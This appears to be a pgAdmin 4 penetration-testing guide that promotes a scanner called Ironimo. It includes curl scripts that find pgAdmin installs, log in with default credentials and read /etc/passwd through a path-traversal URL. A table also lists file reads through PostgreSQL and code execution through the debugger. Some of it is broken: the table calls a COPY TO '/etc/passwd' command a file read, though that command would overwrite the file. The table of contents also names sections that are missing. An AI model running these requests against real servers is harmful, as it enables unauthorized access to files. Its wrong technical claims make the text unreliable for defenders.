pgAdmin Security Testing: Unauthenticated Access, Path Traversal, Arbitrary File Read, and Python RCE

pgAdmin 4 is the most widely used administration and development platform for PostgreSQL, deployed as a web application in development, staging, and production environments. Its security assessment covers multiple layers: pgAdmin web deployments exposed to the internet with default or weak master passwords allow full PostgreSQL administration from a browser; CVE-2023-5002 is a path traversal vulnerability in pgAdmin 4 prior to version 7.6 that allows an authenticated user to make requests to arbitrary file paths on the pgAdmin server through the SQLite database file path parameter, enabling arbitrary file reads; pgAdmin's query tool allows executing arbitrary SQL including PostgreSQL's COPY TO and pg_read_file() functions for file system access when the PostgreSQL superuser is the connected database account; pgAdmin's Python-based debugger when enabled allows executing arbitrary Python expressions in the pgAdmin worker process; and pgAdmin backup files written to the web server document root during export operations may be directly downloadable. This guide covers systematic pgAdmin security assessment.

Table of Contents

  1. pgAdmin Discovery
  2. Authentication Testing
  3. CVE-2023-5002 Path Traversal
  4. PostgreSQL File Access via SQL
  5. Python Debugger Code Execution
  6. pgAdmin Security Hardening

pgAdmin Discovery

# pgAdmin 4 common paths and ports
# Default: http://localhost:5050/ (Docker) or http://localhost/pgadmin4/ (package install)

# Common pgAdmin paths to discover:
PATHS=("/pgadmin4/" "/pgadmin/" "/pgAdmin4/" "/pg/" "/admin/pgadmin4/")
TARGET="https://example.com"
for PATH in "${PATHS[@]}"; do
  CODE=$(curl -s -o /dev/null -w "%{http_code}" "${TARGET}${PATH}" 2>/dev/null)
  if [ "$CODE" == "200" ]; then
    echo "Found pgAdmin at ${TARGET}${PATH}"
    # Get version from login page
    curl -s "${TARGET}${PATH}" 2>/dev/null | \
      grep -oE 'pgAdmin [0-9]+\.[0-9]+' | head -1
  fi
done

# pgAdmin exposes version in JavaScript bundles
curl -s "https://example.com/pgadmin4/js/pgadmin.js" 2>/dev/null | \
  grep -oE '"version":\s*"[0-9.]+"' | head -3

CVE-2023-5002 Path Traversal

# CVE-2023-5002: Path traversal in pgAdmin 4 < 7.6
# Vulnerability: pgAdmin does not sanitize the SQLite path parameter in
# /misc/bgprocess endpoints, allowing authenticated users to traverse directories

# Affected versions: pgAdmin 4 prior to 7.6
# Patched in: pgAdmin 4 version 7.6

# This vulnerability requires authentication (valid pgAdmin credentials)
# With authenticated session cookie, demonstrate arbitrary file access:

# Get authenticated session first (requires credentials)
SESSION=$(curl -s -c /tmp/pgadmin_cookies -X POST \
  "https://example.com/pgadmin4/login" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "email=admin%40admin.com&password=admin" 2>/dev/null | \
  grep -oE '"user":{"id":[0-9]+' | head -1)
echo "Session: ${SESSION}"

# CVE-2023-5002: Read /etc/passwd via path traversal in server storage path
# The vulnerability exists in the background process endpoint where
# the output file path is not properly sanitized
curl -s -b /tmp/pgadmin_cookies \
  "https://example.com/pgadmin4/misc/bgprocess/1/../../../../../../../etc/passwd" \
  2>/dev/null | head -20

pgAdmin Security Hardening

pgAdmin Security Hardening Checklist:
Security TestMethodRisk
pgAdmin accessible at predictable paths from internetProbe /pgadmin4/, /pgadmin/, /pg/ — login page accessible = requires credential testingHigh
Default or weak pgAdmin credentialsPOST /login with admin@admin.com/admin — tests for default setup credentials in container deploymentsCritical
CVE-2023-5002 path traversal (pgAdmin < 7.6)Authenticated path traversal via background process endpoint — reads arbitrary server filesHigh
PostgreSQL COPY TO / pg_read_file() for server file accessExecute COPY (SELECT '') TO '/etc/passwd' — reads server filesystem via PostgreSQL superuser sessionHigh
Python debugger arbitrary code executionpgAdmin debugger console — execute os.system() or subprocess calls on pgAdmin server processCritical
Backup files accessible in web rootGET /backup.sql or similar — pgAdmin backup export files written to web-accessible directoriesHigh

Automate pgAdmin Security Testing

Ironimo tests pgAdmin deployments for internet-accessible login pages at common paths, default and weak master password credentials in Docker and package-installed deployments, CVE-2023-5002 path traversal in pgAdmin versions prior to 7.6 allowing authenticated arbitrary file reads, PostgreSQL superuser sessions enabling COPY TO and pg_read_file() for server file system access, Python debugger interfaces allowing arbitrary code execution on the pgAdmin server process, and backup files written to web-accessible directories during export operations.

Start free scan